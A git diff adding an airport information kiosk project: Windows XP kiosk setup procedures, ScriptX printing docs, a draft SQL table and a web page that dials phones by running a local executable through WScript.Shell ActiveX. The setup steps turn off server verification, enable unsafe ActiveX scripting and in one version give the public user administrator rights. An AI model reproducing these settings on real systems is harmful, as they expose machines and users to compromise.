Binary files /dev/null and b/admin/Kiosk_Notes/DialEnginePro/dialpro.zip differ
diff --git a/admin/Kiosk_Notes/FIDS.doc b/admin/Kiosk_Notes/FIDS.doc
new file mode 100644 (file)
index 0000000..79c7c64
Binary files /dev/null and b/admin/Kiosk_Notes/FIDS.doc differ
diff --git a/admin/Kiosk_Notes/IEAdminKit/ieak6.exe b/admin/Kiosk_Notes/IEAdminKit/ieak6.exe
new file mode 100644 (file)
index 0000000..0a4d041
Binary files /dev/null and b/admin/Kiosk_Notes/IEAdminKit/ieak6.exe differ
diff --git a/admin/Kiosk_Notes/Kiosk Setup Proceedures.txt b/admin/Kiosk_Notes/Kiosk Setup Proceedures.txt
new file mode 100644 (file)
index 0000000..f9e94e8
--- /dev/null
@@ -0,0 +1,180 @@
+Kiosk System Setup
+------------------
+
+
+Users
+
+       Create user "Touch Here to Start"
+
+       Create user Administrator if not already created
+
+       Log off and log in as Administrator
+
+       Delete or deactivate all other user accounts
+
+       Change account type for user "Touch Here to Start" to "Limited"
+       Use "Control Panel", "User Accounts" to do this
+
+       Add password to Administrator account - use GLM standard password
+       (do not put password on "Touch Here to Start" user account)
+
+
+Install custom Internet Explorer: type "Kiosk"
+
+
+Install "Microsoft Shared Computer Toolkit"
+
+
+Configure user "Touch Here to Start"
+
+       Log into user "Touch Here to Start"
+               
+       Delete "My Computer" and other desktop icons
+
+               Log into user "Touch Here to Start"
+               
+               Click once on "My Computer" icon, press "Delete" key and accept
+               
+               Right click on desktop and select "Properties"
+               
+               Select "Desktop" tab then click on "Customize Desktop..."
+               
+               Deselect all Desktop icons options
+               
+               Deselect "Run Desktop cleanup Wizard every 60 days"
+               
+               Click "OK", then "OK" to exit
+
+       Dissable "Screen Saver" and Power save options
+               
+               Right click on desktop and select "Properties"
+               
+               Select "Screen Saver" tab
+               
+               Select "(None)" for Screen saver
+               
+               Click on "Power..."
+
+               Select "Presentation" as Power Scheme
+
+               Click "OK" then click "OK" to exit dialog boxes
+
+       Set Internet Explorer security options
+
+               Start Internet Explorer
+
+               Select menu "Tools", "Internet Options..."
+
+               Select "Security" tab
+
+               Select "Trusted Sites"
+
+               Click on "Sites..." button
+
+               Deselect "Require Server Verification..."
+
+               Add trusted sites
+                       http://devsys.gaslightmedia.com
+                       http://kiosk.pellstonairport.com
+                       (any others required)
+
+               Click "OK"
+
+               With "Trusted Sites" still highlighted, click on "Custom Level..."
+
+               Set "Initialize script and ActiveX controls not marked as safe" to "Enable"
+
+               Click "OK", then "OK" to exit dialog boxs
+
+
+Run Microsoft Shared Computer Toolkit - "Getting Started"
+
+       "Select Computer Security Settings"
+
+               Enable all security options
+       
+       "Restrict and Lock the Public User Profile"
+
+               Click "Open User Restrictions"
+               
+               Click "Select a Profile"
+               
+               Click "Touch Here to Start"
+               
+               Click "Lock this profile:"
+               
+               Click "Reccommended Restrictions for Shared Accounts"
+               This should enable all options.
+               
+               Expand "Additional Start Menu Restrictions" and enable all
+               
+               Expand "Additional General Windows XP Restrictions" and enable all
+               
+               Expand "Additional Internet Explorer Restrictions"
+               Make sure these are not enabled.
+               
+               Expand "Additional Software Restrictions" and enable all
+               
+               click "OK"
+
+       Exit "Getting Started"
+
+
+Clear out "Touch Here to Start" files
+
+       Explore drive C:
+
+       Expand "Documents and Settings", "Touch Here to Start", "Start Menu", and
+       "Programs"
+
+       Click on "Desktop" directory under "Touch Here to Start" and remove all files.
+
+       Click on "Favorites" directory under "Touch Here to Start" and remove all files.
+
+       Click on "Start Menu" directory under "Touch Here to Start" and make sure 
+       only "Programs" exists
+
+       Click on "Programs" directory under "Touch Here to Start" and delete 
+       everything except "Startup"
+
+       Click on "Startup" and delete everything
+
+       Right click in file area and select "New" then "Shortcut"
+
+               Enter the following in "Location" and click "Next"
+               
+                       "C:\Program Files\Internet Explorer\iexplore.exe" 
+                       -k http://kiosk.pellstonairport.com/index.php
+               
+               Enter "Pellston Airport Kiosk" and click "finish"
+
+       Right click on "Pellston Airport Kiosk" and select "Properties"
+
+               Click "General" Tab and enable "Read-only" then click "OK"
+
+
+Install "Dial Engine Pro" - http://www.phonedialerpro.com/
+
+       Run Install Program
+
+       Purchase license
+
+       Install "Dial Engine Pro" license when available (run supplied RegKey.exe)
+
+
+Restart system and confirm the following
+
+       The only visible user is "Touch Here to Start"
+
+       Touch "Touch Here to Start" - user should start and I.E. should start in 
+               kiosk mode with correct Web site
+       
+       Verify operation
+
+
+NOTES:
+
+       If "My Computer" icon still shows up in "Touch Here to Start" user, unlock the user
+       in "User Restrictions", log back in as that user, click once on "My Computer" icon,
+       log back in as administrator, and loc user again.
+
diff --git a/admin/Kiosk_Notes/Kiosk_Setup_Proceedures.txt b/admin/Kiosk_Notes/Kiosk_Setup_Proceedures.txt
new file mode 100644 (file)
index 0000000..989ae31
--- /dev/null
@@ -0,0 +1,225 @@
+Kiosk System Setup
+------------------
+
+
+Users
+
+       At Windows Log On screen, hit CTRL-ALT-DELETE twice
+
+       Log in as Administrator (default does not have password)
+
+       Add password to Administrator account - use GLM standard password
+       (do not put password on "Touch Here to Start" user account)
+
+       Create user "Touch Here to Start"
+
+       Change account type for user "Touch Here to Start" to "Computer administrator"
+       (unfortunately it has to be to be able to delete the other visible accounts)
+
+       Leave "Administrator" and "Guest" account but delete all others
+
+       Make sure "Guest" account is off
+
+Copy required files to system using "ftp" from command prompt
+
+       Create "Download" directory under "My Documents"
+       
+       Start "Command Prompt"
+       
+       Change to "My Documents\Download" directory
+       
+       FTP to site with files, change to the directory with the files, 
+       then use "mget" to get the files. Be sure to type "binary" first.
+
+Install custom Internet Explorer: type "Kiosk"
+
+       Extract all files in the "IE_Kiosk.zip" archive
+       
+       Run "IE_Kiosk/Kiosk/FLAT/WIN32/EN/ie6setup.exe"
+       
+       System will reboot, if not do so
+
+       
+When system reboots, use bios setup to dissable all power and display management/timeouts
+
+       When done, save changes and restart
+       
+       System should now come up as "Touch Here to Start" user
+       
+       Log off and log back in as "Administrator"
+
+
+Configure user "Touch Here to Start"
+
+       Log into user "Touch Here to Start"
+               
+Log in as "Touch Here to Start"
+
+       Run Install Program
+
+       Purchase license
+
+       Install "Dial Engine Pro" 
+       
+               Run "SETUP" in "dialpro.zip" archive
+
+               Add "Dial Engine Pro" to "Start", "All Programs", "Startup" for "Touch Here to Start" user
+               
+               Purchase license for "Dial Engine Pro" at "http://www.phonedialerpro.com"
+               
+               Fill out and send "OrderFrn.txt" 
+
+               Install "Dial Engine Pro" license when available (run supplied RegKey.exe)
+
+       Delete "My Computer" and other desktop icons
+
+               Log into user "Touch Here to Start"
+               
+               Click once on "My Computer" icon, press "Delete" key and accept
+               
+               Right click on desktop and select "Properties"
+               
+               Select "Desktop" tab then click on "Customize Desktop..."
+               
+               Deselect all Desktop icons options
+               
+               Deselect "Run Desktop cleanup Wizard every 60 days"
+               
+               Click "OK", then "OK" to exit
+
+       Dissable "Screen Saver" and Power save options
+               
+               Right click on desktop and select "Properties"
+               
+               Select "Screen Saver" tab
+               
+               Select "(None)" for Screen saver
+               
+               Click on "Power..."
+
+               Select "Presentation" as Power Scheme
+
+               Click "OK" then click "OK" to exit dialog boxes
+
+       Set Internet Explorer security options
+
+               Start Internet Explorer
+
+               Select menu "Tools", "Internet Options..."
+
+               Select "Security" tab
+
+               Select "Trusted Sites"
+
+               Click on "Sites..." button
+
+               Deselect "Require Server Verification..."
+
+               Add trusted sites
+                       http://devsys.gaslightmedia.com
+                       http://kiosk.pellstonairport.com
+                       (any others required)
+
+               Click "OK"
+
+               With "Trusted Sites" still highlighted, click on "Custom Level..."
+
+               Set "Initialize script and ActiveX controls not marked as safe" to "Enable"
+
+               Click "OK", then "OK" to exit dialog boxes
+
+       Log off and log back on as "Administrator"
+
+
+As Administrator, run Microsoft Shared Computer Toolkit - "Getting Started"
+
+       Install "Microsoft Shared Computer Toolkit"
+
+               Double Click on "Download/Shared_Computer_Toolkit_ENU.msi"
+               (Download and install the "Hive Cleanup" software)
+               
+               When system reboots, log out and log back in as "Administrator" and run installation again
+               to complete the Toolkik installation
+
+       "Select Computer Security Settings"
+
+               Enable all security options
+       
+       "Restrict and Lock the Public User Profile"
+
+               Click "Open User Restrictions"
+               
+               Click "Select a Profile"
+               
+               Click "Touch Here to Start"
+               
+               Click "Lock this profile:"
+               
+               Click "Reccommended Restrictions for Shared Accounts"
+               This should enable all options.
+               
+               Expand "Additional Start Menu Restrictions" and enable all
+               
+               Expand "Additional General Windows XP Restrictions" and enable all
+               
+               Expand "Additional Internet Explorer Restrictions"
+               Make sure these are NOT enabled.
+               
+               Expand "Additional Software Restrictions" and enable all
+               
+               click "OK"
+
+       Exit "Getting Started"
+
+       Copy supplied DialPro.ini to c:\Documents and Settings\Touch Here to Start\Application Data\Dial Engine Pro\DialPro.ini
+
+
+Clear out "Touch Here to Start" files
+
+       Explore drive C:
+
+       Expand "Documents and Settings", "Touch Here to Start", "Start Menu", and
+       "Programs"
+
+       Click on "Desktop" directory under "Touch Here to Start" and remove all files.
+
+       Click on "Favorites" directory under "Touch Here to Start" and remove all files.
+
+       Click on "Start Menu" directory under "Touch Here to Start" and make sure 
+       only "Programs" exists
+
+       Click on "Programs" directory under "Touch Here to Start" and delete 
+       everything except "Startup"
+
+       Click on "Startup" and delete everything
+
+       Right click in file area and select "New" then "Shortcut"
+
+               Enter the following in "Location" and click "Next"
+               Be sure to include quotes! (can use development link, but have to change before production use)
+               
+                       "C:\Program Files\Internet Explorer\iexplore.exe" -k http://kiosk.pellstonairport.com/index.php
+               
+               Enter "Pellston Airport Kiosk" and click "finish"
+
+       Right click on "Pellston Airport Kiosk" and select "Properties"
+
+               Click "General" Tab and enable "Read-only" then click "OK"
+
+
+Restart system and confirm the following
+
+       The only visible user is "Touch Here to Start"
+
+       Touch "Touch Here to Start" - user should start and I.E. should start in 
+               kiosk mode with correct Web site
+       
+       Verify operation
+
+
+NOTES:
+
+       If "My Computer" icon still shows up in "Touch Here to Start" user, unlock the user
+       in "User Restrictions", log back in as that user, click once on "My Computer" icon,
+       log back in as administrator, and loc user again.
+
diff --git a/admin/Kiosk_Notes/NWA_HTTP_Posting.doc b/admin/Kiosk_Notes/NWA_HTTP_Posting.doc
new file mode 100644 (file)
index 0000000..9cdb2b5
Binary files /dev/null and b/admin/Kiosk_Notes/NWA_HTTP_Posting.doc differ
diff --git a/admin/Kiosk_Notes/ScriptX/ReadMe.txt b/admin/Kiosk_Notes/ScriptX/ReadMe.txt
new file mode 100644 (file)
index 0000000..ccf462c
--- /dev/null
@@ -0,0 +1,75 @@
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+About client-side deployment of ScriptX version 6,2,433,14
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+'Free' ScriptX
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+* To use  the 'free' script enhancing and printing (Header, Footer, Margins & Orientation) functionality of ScriptX on your IE4.01SP1 - IE6.0SP1 pages, you will need:
+
+  ScriptX.cab
+
+* If you wish to you may reference ScriptX.cab directly from the MeadCo site:
+
+<object id="factory" viewastext  style="display:none"
+  classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814"
+  codebase="http://www.meadroid.com/scriptx/ScriptX.cab#Version=6,2,433,14">
+</object>
+
+* Or you may want to pre-install 'basic' ScriptX over an intranet, in which case use the (admin-only):
+
+  ScriptX.exe
+
+An administrator should run ScriptX.exe on each client machine in your Intranet as an alternative to having the control auto-download the first time a user hits a 'basic' ScriptX-enabled page.
+
+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+Licensed ScriptX
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+* The enclosed smsx.cab is for use in cases where ScriptX' extended printing functionality is being used in conjunction with a publishing license. It contains the MeadCo Security Manager, MeadCo ScriptX and MeadCo MaxiPT resource dlls.
+
+To evaluate the advanced printing functionality of ScriptX on your own computer, use smsx.cab together with the enclosed trial license SXLIC.MLF:
+
+<!-- MeadCo Security Manager -->
+<object id="secmgr" viewastext style="display:none"
+  classid="clsid:5445be81-b796-11d2-b931-002018654e2e"
+  codebase="http://[your_path]/smsx.cab#Version=6,2,433,14">
+  <param name="GUID" value="{7A12A72B-BE40-4BAB-AA50-4680DCC938A3}">
+  <param name="Path" value="http://[your_path]/sxlic.mlf">
+  <param name="Revison" value="0">
+</object>
+
+<!-- MeadCo ScriptX -->
+<object id="factory" viewastext  style="display:none"
+  classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814">
+</object>
+
+<!-- MaxiPT Resources -->
+<object id="maxipt" viewastext style="display:none"
+classid="clsid:C29F168A-7488-42A0-BDA1-47B3578652BE">
+</object>
+
+Note that [your_path] is shown as a placeholder only, and should be replaced by your own path to the smsx.cab and sxlic.mlf files.
+
+The <object> code shown above should appear on ALL your ScriptX-enabled pages, including ASP. You can NOT use CreateObject or new ActiveXObject to call ScriptX client-side. You should call ScriptX in all cases by the ID of the on-page ScriptX object.
+
+Note: the {7A12A72B-BE40-4BAB-AA50-4680DCC938A3} value of the GUID parameter used above identifies the MeadCo evaluation license that authors may use to experiment with Advanced printing capabilities. The license validates local filesystem (file://, My Computer Security Zone only) and local website (http://localhost/) content ONLY for evaluation purposes on a single development computer. 
+
+The evaluation license DOES NOT VALIDATE and WILL NOT WORK FROM any other address. Registered customers are issued with an unique license identifier and a digitally signed sxlic.mlf file. 
+
+* If you want to pre-install the licensed ScriptX binaries over an intranet, use the(admin-only):
+
+  smsx.exe
+
+An administrator should run smsx.exe on each client machine in your Intranet as an alternative to having the control auto-download the first time a user hits a licensed ScriptX-enabled page.
+
+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+Full documentation and licensing details can be found at http://www.meadroid.com/scriptx/
+
+Scripting Factory and ScriptX are Copyright (c) Mead & Co Limited 1998, 1999, 2000, 2001, 2002, 2003, 2004.
+
+Contact us at: feedback@meadroid.com 
diff --git a/admin/Kiosk_Notes/ScriptX/SXdocs.zip b/admin/Kiosk_Notes/ScriptX/SXdocs.zip
new file mode 100644 (file)
index 0000000..f0984b9
Binary files /dev/null and b/admin/Kiosk_Notes/ScriptX/SXdocs.zip differ
diff --git a/admin/Kiosk_Notes/ScriptX/ScriptX.cab b/admin/Kiosk_Notes/ScriptX/ScriptX.cab
new file mode 100644 (file)
index 0000000..a50ac17
Binary files /dev/null and b/admin/Kiosk_Notes/ScriptX/ScriptX.cab differ
diff --git a/admin/Kiosk_Notes/ScriptX/ScriptX.exe b/admin/Kiosk_Notes/ScriptX/ScriptX.exe
new file mode 100644 (file)
index 0000000..7b60621
Binary files /dev/null and b/admin/Kiosk_Notes/ScriptX/ScriptX.exe differ
diff --git a/admin/Kiosk_Notes/ScriptX/maxipt.zip b/admin/Kiosk_Notes/ScriptX/maxipt.zip
new file mode 100644 (file)
index 0000000..cdf4d17
Binary files /dev/null and b/admin/Kiosk_Notes/ScriptX/maxipt.zip differ
diff --git a/admin/Kiosk_Notes/ScriptX/print_demo2.html b/admin/Kiosk_Notes/ScriptX/print_demo2.html
new file mode 100644 (file)
index 0000000..df0d499
--- /dev/null
@@ -0,0 +1,38 @@
+<head>
+<style media="print">
+.noprint { display: none }
+</style>
+</head>
+
+<body scroll="auto">
+
+<object viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase="ScriptX.cab#Version=6,2,433,14">
+  <param name="GUID" value="{7A12A72B-BE40-4BAB-AA50-4680DCC938A3}">
+  <param name="Path" value="sxlic.mlf">
+  <param name="Revision" value="0">
+</object>
+
+<object id="factory" viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814">
+</object>
+
+<script defer>
+  function window.onload() {
+    factory.printing.header = "MeadCo's ScriptX: Print"
+    factory.printing.footer = "The de facto standard for advanced web-based printing"
+    factory.printing.portrait = true
+    idPrint.disabled = false; // enable UI button
+  }
+
+  function Print() {
+    factory.printing.Print(false); // no prompt
+  }
+</script>
+
+<p>Hello, world!</p>
+
+<div class=noprint>
+<hr>The button itself will not be printed:
+<input id=idPrint disabled type="button" value="Print w/o prompt" onclick="Print()">
+</div>
+
+</body>
diff --git a/admin/Kiosk_Notes/ScriptX/smsx.cab b/admin/Kiosk_Notes/ScriptX/smsx.cab
new file mode 100644 (file)
index 0000000..22b6f14
Binary files /dev/null and b/admin/Kiosk_Notes/ScriptX/smsx.cab differ
diff --git a/admin/Kiosk_Notes/ScriptX/smsx.exe b/admin/Kiosk_Notes/ScriptX/smsx.exe
new file mode 100644 (file)
index 0000000..7747e4c
Binary files /dev/null and b/admin/Kiosk_Notes/ScriptX/smsx.exe differ
diff --git a/admin/Kiosk_Notes/ScriptX/sxlic.mlf b/admin/Kiosk_Notes/ScriptX/sxlic.mlf
new file mode 100644 (file)
index 0000000..c03aee5
Binary files /dev/null and b/admin/Kiosk_Notes/ScriptX/sxlic.mlf differ
diff --git a/admin/Kiosk_Notes/SharedComputerToolkit/SCT_Upgrade_from_V1.exe b/admin/Kiosk_Notes/SharedComputerToolkit/SCT_Upgrade_from_V1.exe
new file mode 100644 (file)
index 0000000..aef35a3
Binary files /dev/null and b/admin/Kiosk_Notes/SharedComputerToolkit/SCT_Upgrade_from_V1.exe differ
diff --git a/admin/Kiosk_Notes/SharedComputerToolkit/Shared_Computer_Toolkit_ENU.msi b/admin/Kiosk_Notes/SharedComputerToolkit/Shared_Computer_Toolkit_ENU.msi
new file mode 100644 (file)
index 0000000..2f4e918
Binary files /dev/null and b/admin/Kiosk_Notes/SharedComputerToolkit/Shared_Computer_Toolkit_ENU.msi differ
diff --git a/admin/Kiosk_Notes/SharedComputerToolkit/readme.txt b/admin/Kiosk_Notes/SharedComputerToolkit/readme.txt
new file mode 100644 (file)
index 0000000..ef40320
--- /dev/null
@@ -0,0 +1,14 @@
+The Microsoft Shared Computer Toolkit for Windows® XP. Version 1.1 readme.txt
+Updated April 6th, 2006 
+
+Send all feedback/comments/problems to sctsupp@microsoft.com
+
+Methods of Installation
+=======================
+
+If you already have the Shared Computer Toolkit Version 1.0 installed, download the installation file named SCT_Upgrade_from_V1.exe and open it to start the installation.
+
+If this is the first time you are installing the Shared Computer Toolkit, download the installation file named Shared_Computer_Toolkit_ENU.msi and open it to start the installation.
+
+
+
diff --git a/admin/Kiosk_Notes/create_tables.txt b/admin/Kiosk_Notes/create_tables.txt
new file mode 100644 (file)
index 0000000..e4d5c0f
--- /dev/null
@@ -0,0 +1,19 @@
+CREATE TABLE flight
+       (
+       id                      SERIAL,
+       name            text,
+       addr1           text,
+       city            text,
+       state           text,
+       zip                     text,
+       category        ????,
+       fun                     bool,
+       musical         bool,
+       cost            float
+       );
+REVOKE ALL ON test_table FROM PUBLIC;
+GRANT ALL ON test_table TO nobody;
+REVOKE ALL ON test_table_id_seq FROM PUBLIC;
+GRANT ALL ON test_table_id_seq TO nobody;
+
+
diff --git a/admin/Kiosk_Notes/dial_demo.html b/admin/Kiosk_Notes/dial_demo.html
new file mode 100755 (executable)
index 0000000..4735fe4
--- /dev/null
@@ -0,0 +1,71 @@
+<html>
+  <head>
+    <style type="text/css">
+      <!--
+      .hangup { visibility: hidden; z-index: 100; }
+      -->
+    </style>
+
+
+
+  <script LANGUAGE="JavaScript">
+    <!-- Begin
+
+      connect_time = 10;
+      
+      var t = 0;
+
+      function ConnectTimer(kill)
+        {
+       document.getElementById( 'HangupButton' ).value = 'Hang up in ' + t + ' seconds - Touch for more time';
+        t = t-1;
+        if( t < 0 )
+         HangUp();
+         else
+          setTimeout('ConnectTimer()', 1000);
+        }
+      
+      function ResetTimer()
+       {
+       t = connect_time;
+       }
+       
+      function Dial( number ) 
+        {
+        var wsh = new ActiveXObject('WScript.Shell');
+        wsh.Run('"c:\\Program Files\\Dial Engine Pro\\dial.exe"/' + number );
+        show_button();
+        t = connect_time;
+        setTimeout('ConnectTimer()', 1000);
+        }
+      
+      function HangUp(dial)
+        {
+        var wsh = new ActiveXObject('WScript.Shell');
+        wsh.Run('"c:\\Program Files\\Dial Engine Pro\\dial.exe"/hangup');
+        hide_button();
+        t = 0;
+        }
+
+      function show_button() 
+        {
+        document.getElementById('Hangup').style.visibility = 'visible';        
+        }
+
+      function hide_button() 
+        {
+        document.getElementById('Hangup').style.visibility = 'hidden';
+        }
+
+
+    //  End -->
+  </script>
+</head>
+<body>
+  <div id="Hangup" class="hangup">
+    <input type="button" value="Hang Up Now" ONCLICK="HangUp()">
+    <input type="button" value="More Time" ONCLICK="ResetTimer()" id="HangupButton">
+  </div>
+  <br>
+  <input type="button" value="DIAL" ONCLICK="Dial('12313304517')">
+</body>
diff --git a/assets/Thumbs.db b/assets/Thumbs.db
new file mode 100755 (executable)
index 0000000..e20171c
Binary files /dev/null and b/assets/Thumbs.db differ
diff --git a/assets/back.gif b/assets/back.gif
new file mode 100755 (executable)
index 0000000..5e6d0bc
Binary files /dev/null and b/assets/back.gif differ
diff --git a/assets/bg-home.jpg b/assets/bg-home.jpg
new file mode 100755 (executable)
index 0000000..5f39a93
Binary files /dev/null and b/assets/bg-home.jpg differ
diff --git a/assets/bg-inside.gif b/assets/bg-inside.gif
new file mode 100755 (executable)
index 0000000..6bbda0c
Binary files /dev/null and b/assets/bg-inside.gif differ
diff --git a/assets/call.gif b/assets/call.gif
new file mode 100755 (executable)
index 0000000..3566238
Binary files /dev/null and b/assets/call.gif differ
diff --git a/assets/cat-list-bg.gif b/assets/cat-list-bg.gif
new file mode 100755 (executable)
index 0000000..ee8eae0
Binary files /dev/null and b/assets/cat-list-bg.gif differ
diff --git a/assets/cat/Thumbs.db b/assets/cat/Thumbs.db
new file mode 100755 (executable)
index 0000000..467c0a7
Binary files /dev/null and b/assets/cat/Thumbs.db differ
diff --git a/assets/cat/about.gif b/assets/cat/about.gif
new file mode 100755 (executable)
index 0000000..dd7da43
Binary files /dev/null and b/assets/cat/about.gif differ
diff --git a/assets/cat/attractions.gif b/assets/cat/attractions.gif
new file mode 100755 (executable)
index 0000000..db84129
Binary files /dev/null and b/assets/cat/attractions.gif differ
diff --git a/assets/cat/dining.gif b/assets/cat/dining.gif
new file mode 100755 (executable)
index 0000000..2f57648
Binary files /dev/null and b/assets/cat/dining.gif differ
diff --git a/assets/cat/flight.gif b/assets/cat/flight.gif
new file mode 100755 (executable)
index 0000000..84a5863
Binary files /dev/null and b/assets/cat/flight.gif differ
diff --git a/assets/cat/info.gif b/assets/cat/info.gif
new file mode 100755 (executable)
index 0000000..8bb3eea
Binary files /dev/null and b/assets/cat/info.gif differ
diff --git a/assets/cat/lodging.gif b/assets/cat/lodging.gif
new file mode 100755 (executable)
index 0000000..b7ae352
Binary files /dev/null and b/assets/cat/lodging.gif differ
diff --git a/assets/cat/services.gif b/assets/cat/services.gif
new file mode 100755 (executable)
index 0000000..1181b63
Binary files /dev/null and b/assets/cat/services.gif differ
diff --git a/assets/cat/transportation.gif b/assets/cat/transportation.gif
new file mode 100755 (executable)
index 0000000..3d25150
Binary files /dev/null and b/assets/cat/transportation.gif differ
diff --git a/assets/hang-up.gif b/assets/hang-up.gif
new file mode 100755 (executable)
index 0000000..1ee52e9
Binary files /dev/null and b/assets/hang-up.gif differ
diff --git a/assets/inside-content-bg.jpg b/assets/inside-content-bg.jpg
new file mode 100755 (executable)
index 0000000..dcd12cd
Binary files /dev/null and b/assets/inside-content-bg.jpg differ
diff --git a/assets/left.gif b/assets/left.gif
new file mode 100755 (executable)
index 0000000..8d3a3c0
Binary files /dev/null and b/assets/left.gif differ
diff --git a/assets/letters/Thumbs.db b/assets/letters/Thumbs.db
new file mode 100755 (executable)
index 0000000..ef5b77c
Binary files /dev/null and b/assets/letters/Thumbs.db differ
diff --git a/assets/letters/a.gif b/assets/letters/a.gif
new file mode 100755 (executable)
index 0000000..eba3ef0
Binary files /dev/null and b/assets/letters/a.gif differ
diff --git a/assets/letters/b.gif b/assets/letters/b.gif
new file mode 100755 (executable)
index 0000000..591ebce
Binary files /dev/null and b/assets/letters/b.gif differ
diff --git a/assets/letters/c.gif b/assets/letters/c.gif
new file mode 100755 (executable)
index 0000000..fb40f43
Binary files /dev/null and b/assets/letters/c.gif differ
diff --git a/assets/letters/d.gif b/assets/letters/d.gif
new file mode 100755 (executable)
index 0000000..9bfc40d
Binary files /dev/null and b/assets/letters/d.gif differ
diff --git a/assets/letters/e.gif b/assets/letters/e.gif
new file mode 100755 (executable)
index 0000000..af7e77f
Binary files /dev/null and b/assets/letters/e.gif differ
diff --git a/assets/letters/f.gif b/assets/letters/f.gif
new file mode 100755 (executable)
index 0000000..6e1ddfa
Binary files /dev/null and b/assets/letters/f.gif differ
diff --git a/assets/letters/g.gif b/assets/letters/g.gif
new file mode 100755 (executable)
index 0000000..0248623
Binary files /dev/null and b/assets/letters/g.gif differ
diff --git a/assets/letters/h.gif b/assets/letters/h.gif
new file mode 100755 (executable)
index 0000000..52a7341
Binary files /dev/null and b/assets/letters/h.gif differ
diff --git a/assets/letters/i.gif b/assets/letters/i.gif
new file mode 100755 (executable)
index 0000000..b038b3b
Binary files /dev/null and b/assets/letters/i.gif differ
diff --git a/assets/letters/j.gif b/assets/letters/j.gif
new file mode 100755 (executable)
index 0000000..4041971
Binary files /dev/null and b/assets/letters/j.gif differ
diff --git a/assets/letters/k.gif b/assets/letters/k.gif
new file mode 100755 (executable)
index 0000000..528f93b
Binary files /dev/null and b/assets/letters/k.gif differ
diff --git a/assets/letters/l.gif b/assets/letters/l.gif
new file mode 100755 (executable)
index 0000000..47eba7f
Binary files /dev/null and b/assets/letters/l.gif differ
diff --git a/assets/letters/m.gif b/assets/letters/m.gif
new file mode 100755 (executable)
index 0000000..81fb9f1
Binary files /dev/null and b/assets/letters/m.gif differ
diff --git a/assets/letters/n.gif b/assets/letters/n.gif
new file mode 100755 (executable)
index 0000000..2b639a1
Binary files /dev/null and b/assets/letters/n.gif differ
diff --git a/assets/letters/o.gif b/assets/letters/o.gif
new file mode 100755 (executable)
index 0000000..b37bb27
Binary files /dev/null and b/assets/letters/o.gif differ
diff --git a/assets/letters/p.gif b/assets/letters/p.gif
new file mode 100755 (executable)
index 0000000..3926859
Binary files /dev/null and b/assets/letters/p.gif differ
diff --git a/assets/letters/q.gif b/assets/letters/q.gif
new file mode 100755 (executable)
index 0000000..e5357bc
Binary files /dev/null and b/assets/letters/q.gif differ
diff --git a/assets/letters/r.gif b/assets/letters/r.gif
new file mode 100755 (executable)
index 0000000..d8d74fc
Binary files /dev/null and b/assets/letters/r.gif differ
diff --git a/assets/letters/s.gif b/assets/letters/s.gif
new file mode 100755 (executable)
index 0000000..2527808
Binary files /dev/null and b/assets/letters/s.gif differ
diff --git a/assets/letters/t.gif b/assets/letters/t.gif
new file mode 100755 (executable)
index 0000000..2c8c9c9
Binary files /dev/null and b/assets/letters/t.gif differ
diff --git a/assets/letters/u.gif b/assets/letters/u.gif
new file mode 100755 (executable)
index 0000000..ea6fc2b
Binary files /dev/null and b/assets/letters/u.gif differ
diff --git a/assets/letters/v.gif b/assets/letters/v.gif
new file mode 100755 (executable)
index 0000000..59fb749
Binary files /dev/null and b/assets/letters/v.gif differ
diff --git a/assets/letters/w.gif b/assets/letters/w.gif
new file mode 100755 (executable)
index 0000000..d149936
Binary files /dev/null and b/assets/letters/w.gif differ
diff --git a/assets/letters/x.gif b/assets/letters/x.gif
new file mode 100755 (executable)
index 0000000..bde567f
Binary files /dev/null and b/assets/letters/x.gif differ
diff --git a/assets/letters/y.gif b/assets/letters/y.gif
new file mode 100755 (executable)
index 0000000..dd21e43
Binary files /dev/null and b/assets/letters/y.gif differ
diff --git a/assets/letters/z.gif b/assets/letters/z.gif
new file mode 100755 (executable)
index 0000000..9f21986
Binary files /dev/null and b/assets/letters/z.gif differ
diff --git a/assets/list-head-bg.gif b/assets/list-head-bg.gif
new file mode 100755 (executable)
index 0000000..63578fd
Binary files /dev/null and b/assets/list-head-bg.gif differ
diff --git a/assets/map-directions.gif b/assets/map-directions.gif
new file mode 100755 (executable)
index 0000000..546fcc9
Binary files /dev/null and b/assets/map-directions.gif differ
diff --git a/assets/more-info.gif b/assets/more-info.gif
new file mode 100755 (executable)
index 0000000..ca34c5e
Binary files /dev/null and b/assets/more-info.gif differ
diff --git a/assets/nav-home.jpg b/assets/nav-home.jpg
new file mode 100755 (executable)
index 0000000..5431458
Binary files /dev/null and b/assets/nav-home.jpg differ
diff --git a/assets/nav-inside.gif b/assets/nav-inside.gif
new file mode 100755 (executable)
index 0000000..5fa529e
Binary files /dev/null and b/assets/nav-inside.gif differ
diff --git a/assets/print.gif b/assets/print.gif
new file mode 100755 (executable)
index 0000000..1bd0947
Binary files /dev/null and b/assets/print.gif differ
diff --git a/assets/print.php b/assets/print.php
new file mode 100644 (file)
index 0000000..c40f71c
--- /dev/null
@@ -0,0 +1 @@
